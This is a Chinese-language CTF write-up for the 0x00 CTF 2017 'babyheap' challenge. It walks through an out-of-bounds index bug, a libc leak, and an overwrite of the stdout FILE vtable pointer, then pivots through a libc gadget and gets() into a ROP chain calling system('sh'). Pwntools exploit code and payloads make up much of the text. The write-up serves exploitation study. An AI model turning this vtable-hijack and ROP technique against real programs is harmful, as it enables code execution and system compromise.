前言

本文以 0x00 CTF 2017babyheap 为例介绍下通过修改 vtable 进行 rop 的操作 (:-_-

漏洞分析

首先查看一下程序开启的安全措施

18:07 haclh@ubuntu:0x00ctf $ checksec ./babyheap
[*] '/home/haclh/workplace/0x00ctf/babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE

没开 PIE

接下来看看程序

对程序功能做个介绍

  • 程序一开始需要用户往 bss 段的 name 缓冲区输入内容

  • add 函数: 增加一个 user, 其实就是根据需要的大小使用 malloc 分配内存, 然后读入 username.

  • edit 函数: 根据输入的 index , 取出指针, 往里面写入内容。 index 没有校验

  • ban 函数: free 掉一个 user.

  • changename 函数: 修改 bss 段的 name

  • 输入为 5 时, 会打印 read 函数的地址, 这样就可以拿到 libc 的基地址了。

来看看 edit 函数

直接使用我们输入的数字作为数组索引,在 users 数组中取到 obj 指针,然后使用 strlen 获取输入的长度,最后调用 readobj 里面写内容。

如果我们输入的数字大于 users 数组的长度就可以读取 users 数组 外面的数据作为 read 读取数据的指针了。

下面来看看 bss 段的布局

我们可以看到 users 后面就是 name 缓冲区, name 的内容我们可控, 于是利用 edit 函数里面的 越界读 漏洞,我们就可以伪造 obj 指针, 然后在 通过 read 读取数据时 就可以往 obj 指针处写东西, 任意地址写

漏洞利用

控制rip

整理一下现在拥有的能力。

  • 通过 选项5 可以 leaklibc 的地址
  • 通过 editchangename 可以实现任意地址写

题目给的 libc2.23,没有虚表保护,于是选择改 stdout 的虚表指针,这样我们就可以伪造 stdout 的虚表,然后在调用虚表的时候,就可以控制 rip 了。

我们知道 stdout_IO_FILE_plus 类型,大小为 0xe0 , 最后 8 个字节是 vtable (即 stdout+0xd8 处), 类型是struct _IO_jump_t

pwndbg> p/x sizeof(struct _IO_FILE_plus )
$8 = 0xe0
pwndbg> p ((struct _IO_FILE_plus*)stdout)->vtable
$9 = (const struct _IO_jump_t *) 0x7ffff7dd06e0 <_IO_file_jumps>
pwndbg> p/x sizeof(struct _IO_jump_t )
$10 = 0xa8
pwndbg>

我们不能 leak 堆的地址,伪造虚表只能在 name 缓冲区内伪造,name 缓冲区的大小为 0x28 , 而 虚表(struct _IO_jump_t)的大小 为 0xa8 , 所以是不能伪造整个虚表的, 不过我们只需要把虚表中接下来会被调用的项的指针改了就行了 。有点绕,直接调试看。

首先使用选项5的函数, leaklibc 的基地址

# 首先利用 gift 泄露 libc
choice(5)
p.recvuntil("your gift:\n")
libc.address = int(p.recvline().strip()) - libc.symbols['read']
stdout_vtable_addr = libc.symbols['_IO_2_1_stdout_'] + 0xd8 # IO_2_1_stdout->vtable 的地址

然后我们在 name 缓冲区内布置好内容,让 越界读 使用

# 在 name buf 布置数据
choice(4)
payload = ""
payload += p64(stdout_vtable_addr) # 修改虚表指针
payload += cyclic(0x28 - len(payload))
p.sendafter("enter new name:", payload)

数据布置好了以后,利用 edit 里面的越界读漏洞,进行任意地址写, 修改 IO_2_1_stdout->vtablename 缓冲区的地址

bss_name = 0x6020A0  # bss name 缓冲区的地址

# 利用 越界 获取指针的漏洞进行任意地址写
choice(2)
p.sendlineafter("2. insecure edit", "2")
sleep(0.1)
p.sendlineafter("index: ", '12') # index 12 ---> 会从 name 缓冲区开始处取8字节作为指针
sleep(0.1)
payload = p64(bss_name) # 修改 vtable 的值, 把 vtable 改成 bss_name
p.sendafter("new username: ", payload[:6]) # 修改的数据, 把虚表改到 bss .

使用 ida 可以看到 users 数组的起始地址为 0x0602040 , name 缓冲区的地址 为 0x006020a0。 所以

(0x006020a0-0x00602040)/8 = 12

这样一来就会把 name 缓冲区开始 的 8 个字节作为 user 指针对其进行内容修改。而在之前我们已经布局好 name ,使得 name 缓冲区开始 的 8 个字节 为 IO_2_1_stdout->vtable 的地址,这样在后面设置 new username 时 就可以修改 IO_2_1_stdout->vtable 了。

然后输入 new usernamep64(bss_name)6 字节 , 就可以修改 IO_2_1_stdout->vtablename 缓冲区的地址。

只发送前 6 个字节的原因是

len = strlen(obj);

长度是用 strlen 获取的, IO_2_1_stdout->vtable 原来的值是 libc 的地址开始的 6 个字节是非 \x00, 所以 strlen 会返回 6

接下来使用到 stdout 时,就会用到伪造的 虚表 (name 缓冲区)

调试看看, 会发现 crash

这里没有破坏栈的数据,所以栈回溯应该是正确的,所以看看栈回溯

可以看到 call [$rax + 0x38] , 然后 $raxname 缓冲区的地址

所以现在 $rax 的值我们可控, 只需要使得 rax + 0x38 也可控即可

 $rax  = bss_name - 0x18
$rax + 0x38 ---> bss_name + 0x20

这样一来就可以控制 rip 了。

getshell

思路分析

可以控制 rip 后, 同时还有 libc 的地址 one_gadget 可以试一试,不过这东西看运气,在这个题就不能用。这里我们使用 rop 来搞。

要进行 rop 首先得控制栈的数据,现在 rax 是我们可控的,一般的思路就是利用 xchg rax,rsp 之类的 gadget 来迁移栈到我们可控的地方,这里采取另外一种方式, 利用 libc 的代码片段 ,直接往栈里面写数据, 布置 rop 链

首先来分析下要用到的 gadget

位于 authnone_create-0x35

.text:000000000012B82B                 mov     rdi, rsp        ; gadget start
.text:000000000012B82E call qword ptr [rax+20h]
.text:000000000012B831 mov cs:dword_3C8D9C, eax
.text:000000000012B837 mov rax, [rsp+38h+var_30]
.text:000000000012B83C mov rax, [rax+38h]
.text:000000000012B840 test rax, rax
.text:000000000012B843 jz short loc_12B84A
.text:000000000012B845 mov rdi, rsp
.text:000000000012B848 call rax
.text:000000000012B84A
.text:000000000012B84A loc_12B84A: ; CODE XREF: sub_12B7A0+A3↑j
.text:000000000012B84A add rsp, 30h
.text:000000000012B84E pop rbx
.text:000000000012B84F retn

可以看到 首先

rdi = rsp
call qword ptr [rax+20h]

这样只要然后 rax+0x20gets 函数的地址,就可以往 栈里面写数据了。

开始以为 gets 函数会读到 \x00 终止,后来发现不是, 函数定义

gets 函数从流中读取字符串,直到出现换行符或读到EOF为止,最后加上NULL作为字符串结束

EOF 貌似是 -1 ,所以我们可以读入 \x00 ,而且输入数据的长度还是我们可控的 (通过控制 \n

此时已经可以覆盖返回地址了,下面就是让 上面的代码块 执行完 gets 后进入 loc_12B84A , 分支。

执行完 call qword ptr [rax+20h] 后,会从 esp+8 处取出 8 字节放到 rax ,然后判断 rax+0x38 处存放的值是不是 0 , 如果为 0, 就可以进入 loc_12B84A 进行 rop 了 .

.text:000000000012B831                 mov     cs:dword_3C8D9C, eax
.text:000000000012B837 mov rax, [rsp+38h+var_30]
.text:000000000012B83C mov rax, [rax+38h]
.text:000000000012B840 test rax, rax
.text:000000000012B843 jz short loc_12B84A

exp分析

整理一下,分析分析最终的 exp

首先 leaklibc 的地址,获取到后面需要的一些 gadget 的地址

然后往 name 缓冲区布置数据

# 在 name buf 布置数据
choice(4)
payload = ""
payload += p64(stdout_vtable_addr) # 修改虚表指针
payload += p64(libc.symbols['gets']) # rip for call qword ptr [rax+20h]
payload += "b" * 0x10 # padding
payload += p64(gadget) # mov rdi, rsp ; gadget start 的地址
payload += cyclic(0x28 - len(payload))
p.sendafter("enter new name:", payload)

然后往触发漏洞,修改 _IO_2_1_stdout_->vtablebss_name - 0x18


# 利用 越界 获取指针的漏洞进行任意地址写
choice(2)
p.sendlineafter("2. insecure edit", "2")
sleep(0.1)
p.sendlineafter("index: ", '12') # index 12 ---> 会从 name 开始处取8字节作为指针
sleep(0.1)
payload = p64(bss_name - 0x18) # padding for let
p.sendafter("new username: ", payload[:6]) # 修改的数据, 把虚表改到 bss .
info("_IO_2_1_stdout_->vtable({})---> bss_name".format(hex(stdout_vtable_addr)))
# gdb.attach(p)
pause()

这就使得 接下来 call [eax + 0x38] 会变成 call [name+0x20] , 也就是 进入 gadget

会调用 call qword ptr [rax+20h] ,其实就是 call [name+0x8] , 之前已经设置为 gets 函数的地址,所以会调用 gets

pop_rdi_ret = 0x0000000000400f13

# zero addr
zero_addr = 0x6020c8 # 该位置的值为 p64(0)
info("zero_addr: " + hex(zero_addr))
payload = 'a' * 8
payload += p64(zero_addr - 0x38)
payload += cyclic(40)
payload += p64(pop_rdi_ret)
payload += p64(sh_addr)
payload += p64(libc.symbols['system'])
p.sendline(payload)

然后通过 gets 往栈里面布置数据, 把 rsp+8 设置为 zero_addr (该位置的值为 p64(0)),然后 rop 调用 system("sh") 即可

总结

authnone_create-0x35 处的这个 gadget 还是比较有趣的,以后能控制 rax 处的内容 时可以选择用这种方式, 比如可以修改 虚表指针时。

参考

https://github.com/SPRITZ-Research-Group/ctf-writeups/tree/master/0x00ctf-2017/pwn/babyheap-200

Pwn with File结构体之利用 vtable 进行 ROP的更多相关文章

  1. Pwn with File结构体(一)

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 利用 FILE 结构体进行攻击,在现在的 ctf 比赛中也经常出现 ...

  2. Pwn with File结构体(四)

    前言 前面几篇文章说道,glibc 2.24 对 vtable 做了检测,导致我们不能通过伪造 vtable 来执行代码.今天逛 twitter 时看到了一篇通过绕过 对vtable 的检测 来执行代 ...

  3. Pwn with File结构体(三)

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 前面介绍了几种 File 结构体的攻击方式,其中包括修改 vtab ...

  4. Pwn with File结构体(二)

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 最新版的 libc 中会对 vtable 检查,所以之前的攻击方式 ...

  5. 刨根问底系列(2)——stdin、stdout、FILE结构体、缓冲区和fflush的理解

    stdin.stdout.FILE结构体.缓冲区和fflush理解 因为之前调试代码时, printf输出的字符串总是被截断了输出(先输出部分, 再输出剩余的), 当时调试了很久, 才知道问题所在, ...

  6. Linux_Struct file()结构体

    struct file结构体定义在/linux/include/linux/fs.h(Linux 2.6.11内核)中,其原型是:struct file {        /*         * f ...

  7. Linux--struct file结构体

    struct file(file结构体): struct file结构体定义在include/linux/fs.h中定义.文件结构体代表一个打开的文件,系统中的每个打开的文件在内核空间都有一个关联的  ...

  8. 2018.5.2 file结构体

    f_flags,File Status Flag f_pos,表示当前读写位置 f_count,表示引用计数(Reference Count): dup.fork等系统调用会导致多个文件描述符指向同一 ...

  9. fd与FILE结构体

    文件描述符 fd 概念:文件描述符在形式上是一个非负整数.实际上,它是一个索引值,指向内核为每一个进程所维护的该进程打开文件的记录表.当程序打开一个现有文件或者创建一个新文件时,内核向进程返回一个文件 ...

随机推荐

  1. subscripts(下标)

    /* subscripts(下标): 访问对象中数据的快捷方式 所谓下标脚本语法就是能够通过, 实例[索引值]来访问实例中的数据 类似于以前我们访问数字和字典, 其实Swift中的数组和字典就是一个结 ...

  2. RabbitMQ : 几种Exchange 模式

    AMQP协议中的核心思想就是生产者和消费者隔离,生产者从不直接将消息发送给队列.生产者通常不知道是否一个消息会被发送到队列中,只是将消息发送到一个交换机.先由Exchange来接收,然后Exchang ...

  3. Eclipse for android 实现代码自动提示智能提示功能

    Eclipse for android 实现代码自动提示智能提示功能,介绍 Eclipse for android 编辑器中实现两种主要文件 java 与 xml 代码自动提示功能,解决 eclips ...

  4. Apache JMeter2.13 实战

    安装目录下 设置浏览器代理127.0.0.1 8080,以chrome为例 开始录制脚本,进入应用点击相应的功能,可以捕获到如下地址 去除无用地址,保留需要测试的地址 注:上图编号列表中11为获取co ...

  5. Android 开发服务类 02_NewsListServlet

    Servlet implementation class NewsListServlet package com.wangjialin.server.xml; import java.io.IOExc ...

  6. Golang 包依赖管理工具

    1.godep:https://studygolang.com/articles/9877 2.dep:https://studygolang.com/articles/10589 3.glide:h ...

  7. input属性type为file打开文件资源管理器时,如何限制多次选取或只能一次选取的行为

    1.input标签没有设置multiple属性,文件资源管理器默认一次选取 <!doctype html> <html lang="en"> <hea ...

  8. Ionic3 UI组件之 PhotoViewer

    PhotoViewer是常用的Cordova Plugin之一,用来显示图片. 组件特性: 根据Url显示图片 支持手势,可放大缩小 带分享按钮,可分享图片 带关闭按钮 加载错误时自动关闭组件 支持B ...

  9. WCF配置文件与文件下载之坎坷路

    题外话:本以为我会WCF了,精通WCF了,毕竟刚做过一个WCF的项目,不就是写写契约接口,然后实现接口,改下配置.最后用控制台或者服务发布一下,不就能用了.不就是简单ABC吗?不是So Easy吗?做 ...

  10. 【转】sql server日期比较

    1. 当前系统日期.时间select getdate() 2. dateadd 在向指定日期加上一段时间的基础上,返回新的 datetime 值例如:向日期加上2天select dateadd(day ...